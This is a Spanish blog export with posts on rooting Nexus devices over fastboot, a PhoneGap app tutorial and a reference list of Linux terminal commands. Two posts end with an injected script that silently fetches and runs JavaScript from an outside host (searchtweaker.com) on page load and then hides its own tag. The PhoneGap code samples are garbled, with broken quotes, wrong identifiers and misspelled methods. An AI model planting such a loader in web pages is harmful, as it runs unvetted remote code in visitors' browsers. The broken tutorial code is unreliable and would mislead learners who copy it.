<li><a href="http://download.chainfire.eu/297/CF-Root/CF-Auto-Root/CF-Auto-Root-mako-occam-nexus4.zip" rel="nofollow" target="_blank">Descarga para Nexus 4 (occam)</a></li>
<li><a href="http://download.chainfire.eu/295/CF-Root/CF-Auto-Root/CF-Auto-Root-grouper-nakasi-nexus7.zip" rel="nofollow" target="_blank">Descarga para Nexus 7 (nakasi)</a></li>
<li><a href="http://download.chainfire.eu/294/CF-Root/CF-Auto-Root/CF-Auto-Root-tilapia-nakasig-nexus7.zip" rel="nofollow" target="_blank">Descarga para Nexus 7 (nakasig)</a></li>
<li><a href="http://download.chainfire.eu/290/CF-Root/CF-Auto-Root/CF-Auto-Root-manta-mantaray-nexus10.zip" rel="nofollow" target="_blank">Descarga para Nexus 10 (mantaray)</a></li>
</ul>
<b>El proceso de “root-eo”</b><br /><br /> Los pasos son los siguientes:<br />
<ul>
<li>Apaga tu dispositivo</li>
<li>Inicia pulsando
de forma simultánea la tecla Encendido + la tecla de bajar volumen,
esto en el caso de la Nexus 7, en el caso del Samsung Galaxy Nexus,
tienes que pulsar de forma simultánea la tecla Encendido + bajar
volumen + subir volumen. Supongo que en otros dispositivos será
distinto. Al hacer esto tienes que ver esta imagen: </li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMiH_oelojrwgqv6NmGJCeudxq3r-On5epx8DDDb_yT7zPGT_GRoU1XwTDFvHod9muzHm9WjdZmJJs5yRSl8rtdMUkjqXs1vJHLkitcuTJoSTb0zSKUxJ_kLVN3UmnVVsQ-CfMbdYUmIcQ/s1600/fastboot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMiH_oelojrwgqv6NmGJCeudxq3r-On5epx8DDDb_yT7zPGT_GRoU1XwTDFvHod9muzHm9WjdZmJJs5yRSl8rtdMUkjqXs1vJHLkitcuTJoSTb0zSKUxJ_kLVN3UmnVVsQ-CfMbdYUmIcQ/s1600/fastboot.jpg" /></a></div>
<br />
<ul>
<li>Ahora tienes que averiguar el fabricante y modelo desde
la línea USB, para ello, tienes que ejecutar el siguiente comando, tal
y como hicimos en el artículo “<a href="http://anonym-url.com/go.php?to=http://www.atareao.es/ubuntu/software-para-tu-ubuntu/acceder-al-terminal-de-tu-android-desde-ubuntu/" rel="nofollow" target="_blank">Acceder al terminal de tu android desde Ubuntu</a>“:</li>
</ul>
lsub <br />
<ul>
<li>esto arrojará algo como:</li>
</ul>
Bus 001 Device 021: ID 18d1:4e40 Google Inc. Bus 001 Device 002: ID
058f:6362 Alcor Micro Corp. Flash Card Reader/Writer Bus 008 Device 002:
ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 008 Device 003: ID
050d:0084 Belkin Components F8T003v2 Bluetooth Bus 001 Device 001: ID
1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002
Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0001 Linux
Foundation 1.1 root hub Bus 004 Device 001: ID 1d6b:0001 Linux
Foundation 1.1 root hub Bus 005 Device 001: ID 1d6b:0001 Linux
Foundation 1.1 root hub Bus 006 Device 001: ID 1d6b:0001 Linux
Foundation 1.1 root hub Bus 007 Device 001: ID 1d6b:0001 Linux
Foundation 1.1 root hub Bus 008 Device 001: ID 1d6b:0001 Linux
Foundation 1.1 root hub<br />
<br />
<ul>
<li>Ahora tienes que crear el siguiente archivo
“/etc/udev/rules.d/51-android.rules”, que lo puedes hacer directamente
en el terminal, en modo administrador:</li>
</ul>
sudo nano /etc/udev/rules.d/51-android.rules <br />
<ul>
<li>Y añadir la siguiente línea a partir de los datos
extraídos del listado de dispositivos usb (lsub) que hemos visto antes.
Te tienes que fijar en la primera línea. Los parámetros en mi caso son
“18d1″ par el vendedor y “4e40″ para el modelo. El resto de parámetros
tienes que dejar los mismos que verás en la siguiente línea</li>
</ul>
SUBSYSTEM=="usb", SYSFS{idVendor}=="18d1", ATTR{idProduct}=="4e40", MODE="0666", OWNER="atareao", GROUP="atareao" <br />
<ul>
<li>Una vez añadido esto, solo tienes que reiniciar el servicio, ejecutando el siguiente comando:</li>
</ul>
sudo service udev restart <br />
<ul>
<li>Da permisos de ejecución al archivo “fastboot-linux”, con el siguiente comando:</li>
</ul>
chmod +x fastboot-linux <br />
<ul>
<li>Ahora ya puedes ir al directorio donde has descargado y
descomprimido el archivo, y empezar con el “root-eo”. Para ello, solo
tienes que ejecutar el siguiente comando</li>
</ul>
./fastboot-linux<br />
Con esto ya está todo, solo tienes que esperar unos minutos y ya
habrás “root-eado” tu dispositivo Nexus. Y verás un “Androide” rojo. <br />
gracias <a class="username online " href="http://comunidad.dragonjar.org/members/bladeh/" rel="nofollow" title="BladeH está en línea"><strong>BladeH</strong></a><br />
<br />
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-76893561922601322082013-01-17T01:10:00.000+01:002013-01-17T10:03:04.717+01:00Aplicaciones Android con PhoneGap<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Hola gente vaga :) ... que va ! ,es sólo un decir muchachos porque me imagino que muchos de ustedes que están leyendo estas líneas es porque les interesa el saber un poco más, están investigando y dándole un buen uso al internet!.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Con PhoneGap no tendremos limitaciones de procesamientos de datos pudiendo ser en el servidor como en el terminal. En función a esto les dejaré algunos ejemplos que con sinceridad quizás mi fuerte no es el desarrollo de software pero es bueno saber de todo un poco ,no creen . Lo siguiente es una app básica que posee un formulario de entrada que el usuario puede utilizar generando una lista con los datos introducidos, para eso copia el siguiente código en el fichero Index:</div>
<br />
<b><span style="color: red;">###################################CÓDIGO##########################################</span></b><br />
<b><html></b><br />
<b> <head></b><br />
<b> <title> PhoneGap-Workshop </b><br />
<b> </title></b><br />
<br />
<b> <style> </b><br />
<b> body {</b><br />
<b> background: white;</b><br />
<b> }</b><br />
<b> div#main{</b><br />
<b> background: #ccc;</b><br />
<b> border: black 1px solid;</b><br />
<b> height:80%;</b><br />
<b> padding:15%</b><br />
<b> width:80%;</b><br />
<b> -webkit-border-radius: 10px ;</b><br />
<b> } </b><br />
<b> </style> </b><br />
<b><br /></b>
<b> <meta name=>>viewport>>content=>>width=device-width,initialscale=0>>></meta></b><br />
<b> </head> </b><br />
<b> <body></b><br />
<b> <div id=>>main>>> </b><br />
<b> <h1>Ejemplo de Almacenamiento local "Destroyer"</h1></b><br />
<b> <form id=>>Formular>>> </b><br />
<b> <input type=>>text>>> id=>>eingabeName>>placeholder =>>Tu_entrada>>/></b><br />
<b> <button id=>>submitEintrag>>Añadir a la lista</button>28 <br></b><br />
<b> </form></b><br />
<b> </div> </b><br />
<b> </body></b><br />
<b></html></b><br />
<span style="color: red;"><b>#############################################<span style="color: black;">##</span>######################################</b></span><br />
<br />
<div style="text-align: left;">
<span style="font-size: small;">Lo siguiente que necesitaremos es la función script el cual tomará la entrada, lo insertará en la posición deseada y después de procesar los datos vacie la entrada:</span></div>
<br />
<b><span style="color: red;">###################################CÓDIGO##########################################</span></b><br />
<b><span style="color: red;"><span style="color: black;">#Validar la entrada</span></span></b><br />
<b><span style="color: red;"><span style="color: black;"><script> </span></span><span style="color: red;"> </span></b><br />
<b>document.addEventListener(<<DOMContentLoaded>>, function() {</b><br />
<b>var ListaFormulario= document.getElementById(ListaFormulario' );</b><br />
<b>var CampoFormulario= document.getElementById(NombreFormulario' );</b><br />
<b> document.getElementById(<<Formulario>>).</b><br />
<b> addEventListener(<<submit>>,function (evt) {</b><br />
<b>evt.preventDefault();</b><br />
<b> var nuevaEntrada= CampoFormulario.value;</b><br />
<b> var nuevaListadeEntrada= document.createElement(li');</b><br />
<b>nuevalistadeEntrada.innerHTML= nuevaEntrada;</b><br />
<b>ListaFormulario.AppendChild(nuevaListadeEntrada);</b><br />
<b>CampoFormulario.value=<<>>;</b><br />
<b>return false;</b><br />
<b>}, false);</b><br />
<b>}); </b><br />
<b><span style="color: red;"><span style="color: black;"></script> </span></span></b><br />
<span style="color: red;"><b>#############################################<span style="color: black;">##</span>######################################</b></span><br />
<br />
<div style="text-align: justify;">
<span style="font-size: small;"> Declaramos una lista en la prte inferior del formulario, donde se iran añadiendo las entradas, por lo que usamos la etiqueta <ul>:</span></div>
<div style="text-align: justify;">
<br /></div>
<b><span style="color: yellow;"><ul id=>>ListaFormulario>>></ul> <span></span></span></span></b><br />
<span style="font-size: small;"><br /></span>
<div style="text-align: justify;">
<span style="font-size: small;">Cabe acotar señores que que la función añade las entradas a la lista pero no utiliza ningún almacenamiento permanente para gua<b>r</b>dar los cambios(para eso utilizaremos API HTML LocalStorage)<b><br /></b></span></span></div>
<span style="font-size: small;"> Para integrar el video destroyer.mp4 en tu app , tuiliza este código:</span></span><br />
<br />
<div style="text-align: left;">
<b><span style="color: yellow;">var videoTag= '<video id= "VideoDestroyer" width= "240" height= "120"' "autobuffer src=>>destroyer.mp4>>controls> </video>";</span></b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: small;">Con el atributo controls establecemos las funciones de control típicas , y con el Framework XUI se maneja el inicio y la visualización del video</span></div>
<div style="text-align: justify;">
<b><span style="color: yellow;"><br /></span></b></div>
<b><span style="color: red;">###################################CÓDIGO##########################################</span></b><br />
<div style="text-align: justify;">
<span style="color: yellow;"><b>function</b></span> showAndPlayVideo() {</div>
<div style="text-align: justify;">
if ( !x$("VideoDestroyer")</div>
<div style="text-align: justify;">
.legth){</div>
<div style="text-align: justify;">
x$("#noVideo").inner </div>
<div style="text-align: justify;">
(videoTag);</div>
<div style="text-align: justify;">
x$("#VideoDestroyer")[0].</div>
<div style="text-align: justify;">
play();</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
x$("#VideoDestroyer").on("clic k" ,function () {</div>
<div style="text-align: justify;">
this.pause();</div>
<div style="text-align: justify;">
}).on("pause" , function () { </div>
<div style="text-align: justify;">
x$(this).remove();</div>
<div style="text-align: justify;">
}); </div>
<div style="text-align: justify;">
}}<br />
<span style="color: red;"><b>#############################################<span style="color: black;">##</span>######################################</b></span></div>
<br />
<div style="text-align: left;">
<span style="font-size: small;">Existe otro elemento que les sera de mucho interés, el canvas</span></span></span><span style="font-size: small;"> el cual hace posible la exhibición de objetos gráficos, animaciones, manipular imágenes y mucho más. HTML 5 se apoya de DOM para poder reproducir las animaciones que a su vez se apoya en JavaScript.</span></div>
<div style="text-align: left;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><canvas id="Canvas-example"width="150" height ="150"></canvas></span></div>
<div style="text-align: left;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: left;">
<span style="font-size: small;">Por el momento les voy dejando alguito, la verdad ando algo cansado ....mañana les dejaré muchos más ejemplos....</span></div>
<div style="text-align: justify;">
<span style="color: yellow;"><b>Nota: si te considera un buen desarrollador o conocedor de las diversas técnicas de hacking , entonces te digo que Peroma Project es lo que buscas... si estas interesado en formar un grupo de investigación , o aprender nuevas técnicas ponte en contacto con nosotros...porque amamos el Código libre y porque el conocimiento se comparte ....</b></span></div>
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-69539333975553941552013-01-15T15:54:00.000+01:002013-01-15T15:54:39.149+01:00Dominando el Terminal..Comandos para GNU/Linux<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;">
<h3>
</h3>
<div>
</div>
<div style="text-align: justify;">
Muchas veces estamos en nuestra distro GNU/Linux y queremos instalar
algo o modificar cierta configuración del sistema pero no conocemos o no
nos acordamos los comandos de la terminal como para hacerlo, ya que
siempre es la única forma (y la mejor diría yo) de hacerlo.<br />
<br />
Es por eso que les traemos una lista con los comandos mas conocidos y
aquellos a los que tenemos que recordar leyendo un cuaderno.<br />
Sabemos que la mejor forma de aprender es practicar, asi que es por eso
que les sugerimos que si son usuarios de GNU/Linux traten de usar la
consola lo mas que puedan para que puedan entender a fondo como es su
sistema y mas que nada, como funciona.</div>
<br />
Le dejamos con la lista de comandos mencionada:</div>
<div dir="ltr" style="text-align: left;">
<div style="border: 0px none; font-family: 'Pontano Sans',arial,sans-serif; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><b><span style="font-size: small;">Información Del Sistema</span></b></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>arch:</b> mostrar la arquitectura de la máquina (1).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>uname -m</b>: mostrar la arquitectura de la máquina (2).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>uname -r:</b> mostrar la versión del kernel usado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>dmidecode -q</b>: mostrar los componentes (hardware) del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>hdparm -i /dev/hda</b>: mostrar las características de un disco duro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>hdparm -tT /dev/sda</b>: realizar prueba de lectura en un disco duro.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/cpuinfo</b>: mostrar información de la CPU.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/interrupts</b>: mostrar las interrupciones.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/meminfo</b>: verificar el uso de memoria.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/swaps</b>: mostrar ficheros swap.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/version:</b> mostrar la versión del kernel.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/net/dev:</b> mostrar adaptadores de red y estadísticas.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cat /proc/mounts:</b> mostrar el sistema de ficheros montado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>lspci -tv:</b> mostrar los dispositivos PCI.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>lsusb -tv:</b> mostrar los dispositivos USB.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>date:</b> mostrar la fecha del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cal 2011:</b> mostrar el almanaque de 2011.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cal 07 2011:</b> mostrar el almanaque para el mes julio de 2011.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>date 041217002011.00:</b> colocar (declarar, ajustar) fecha y hora.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>clock -w:</b> guardar los cambios de fecha en la BIOS.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><span style="font-size: small;"><b><span style="font-family: Times,Times New Roman,serif;">Apagar (Reiniciar Sistema o Cerrar Sesión)</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>shutdown -h now:</b> apagar el sistema (1).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>init 0:</b> apagar el sistema (2).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>telinit 0:</b> apagar el sistema (3).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>halt:</b> apagar el sistema (4).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>shutdown -h hours</b>: minutes &: apagado planificado del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>shutdown -c</b>: cancelar un apagado planificado del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>shutdown -r now:</b> reiniciar (1).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>reboot</b>: reiniciar (2).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>logout:</b> cerrar sesión.<a href="https://www.blogger.com/blogger.g?blogID=7163708568876453448" name="13c3e75f60eefa85_more" target="_blank"></a></span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><span style="font-size: small;"><b><span style="font-family: Times,Times New Roman,serif;">Archivos y Directorios</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cd /home:</b> Entrar en el directorio “home”.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cd ..</b>: Retroceder un nivel.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cd ../..</b>: Retroceder 2 niveles.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cd</b>: Ir al directorio raíz.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cd ~user1</b>: Ir al directorio user1.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>cd -</b>: Ir (regresar) al directorio anterior.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>pwd</b>: Mostrar el camino del directorio de trabajo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>ls</b>: Ver los ficheros de un directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>ls -F</b>: Ver los ficheros de un directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>ls -l:</b> Mostrar los detalles de ficheros y carpetas de un directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;"><b>ls -a</b>: Mostrar los ficheros ocultos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ls *[0-9]*: mostrar los ficheros y carpetas que contienen números.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">tree: mostrar los ficheros y carpetas en forma de árbol comenzando por la raíz.(1)</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">lstree: mostrar los ficheros y carpetas en forma de árbol comenzando por la raíz.(2)</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkdir dir1: crear una carpeta o directorio con nombre ‘dir1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkdir dir1 dir2: crear dos carpetas o directorios simultáneamente (Crear dos directorios a la vez).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mkdir -p /tmp/dir1/dir2: crear un árbol de directorios.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rm -f file1: borrar el fichero llamado ‘file1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rmdir dir1: borrar la carpeta llamada ‘dir1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rm
-rf dir1: eliminar una carpeta llamada ‘dir1′ con su contenido de forma
recursiva. (Si lo borro recursivo estoy diciendo que es con su
contenido).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">rm -rf dir1 dir2: borrar dos carpetas (directorios) con su contenido de forma recursiva.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mv dir1 new_dir: renombrar o mover un fichero o carpeta (directorio).</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cp file1: copiar un fichero.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cp file1 file2: copiar dos ficheros al unísono.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cp dir /* .: copiar todos los ficheros de un directorio dentro del directorio de trabajo actual.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cp -a /tmp/dir1 .: copiar un directorio dentro del directorio actual de trabajo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cp -a dir1: copiar un directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">cp -a dir1 dir2: copiar dos directorio al unísono.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ln -s file1 lnk1: crear un enlace simbólico al fichero o directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">ln file1 lnk1: crear un enlace físico al fichero o directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">touch -t 0712250000 file1: modificar el tiempo real (tiempo de creación) de un fichero o directorio.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">file file1: salida (volcado en pantalla) del tipo mime de un fichero texto.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">iconv -l: listas de cifrados conocidos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">iconv
-f fromEncoding -t toEncoding inputFile > outputFile: crea una nueva
forma del fichero de entrada asumiendo que está codificado en
fromEncoding y convirtiéndolo a ToEncoding.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find
. -maxdepth 1 -name *.jpg -print -exec convert ”{}” -resize 80×60
“thumbs/{}” ;: agrupar ficheros redimensionados en el directorio actual y
enviarlos a directorios en vistas de miniaturas (requiere convertir
desde ImagemagicK).</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><span style="font-size: small;"><b><span style="font-family: Times,Times New Roman,serif;">Encontrar archivos</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find / -name file1: buscar fichero y directorio a partir de la raíz del sistema.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find / -user user1: buscar ficheros y directorios pertenecientes al usuario ‘user1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find /home/user1 -name *.bin: buscar ficheros con extensión ‘. bin’ dentro del directorio ‘/ home/user1′.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find /usr/bin -type f -atime +100: buscar ficheros binarios no usados en los últimos 100 días.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find /usr/bin -type f -mtime -10: buscar ficheros creados o cambiados dentro de los últimos 10 días.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find / -name *.rpm -exec chmod 755 ‘{}’ ;: buscar ficheros con extensión ‘.rpm’ y modificar permisos.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">find
/ -xdev -name *.rpm: Buscar ficheros con extensión ‘.rpm’ ignorando los
dispositivos removibles como cdrom, pen-drive, etc.…</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">locate *.ps: encuentra ficheros con extensión ‘.ps’ ejecutados primeramente con el command ‘updatedb’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">whereis halt: mostrar la ubicación de un fichero binario, de ayuda o fuente. En este caso pregunta dónde está el comando ‘halt’.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">which halt: mostrar la senda completa (el camino completo) a un binario / ejecutable.</span></li>
</ul>
<div style="border: 0px none; font-weight: normal; margin: 20px 0px 5px; padding: 0px; text-align: left;">
<span style="color: red;"><span style="font-size: small;"><b><span style="font-family: Times,Times New Roman,serif;">Montando un sistema de ficheros</span></b></span></span></div>
<ul style="border: 0px none; color: #2c2b2b; line-height: 18px; list-style-position: outside; margin: 10px 0px 10px 30px; padding: 0px; text-align: left;">
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">mount
/dev/hda2 /mnt/hda2: montar un disco llamado hda2. Verifique primero la
existencia del directorio ‘/ mnt/hda2′; si no está, debe crearlo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">umount /dev/hda2: desmontar un disco llamado hda2. Salir primero desde el punto ‘/ mnt/hda2.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">fuser -km /mnt/hda2: forzar el desmontaje cuando el dispositivo está ocupado.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px;"><span style="font-family: Times,Times New Roman,serif;">umount
-n /mnt/hda2: correr el desmontaje sin leer el fichero /etc/mtab. Útil
cuando el fichero es de solo lectura o el disco duro está lleno.</span></li>
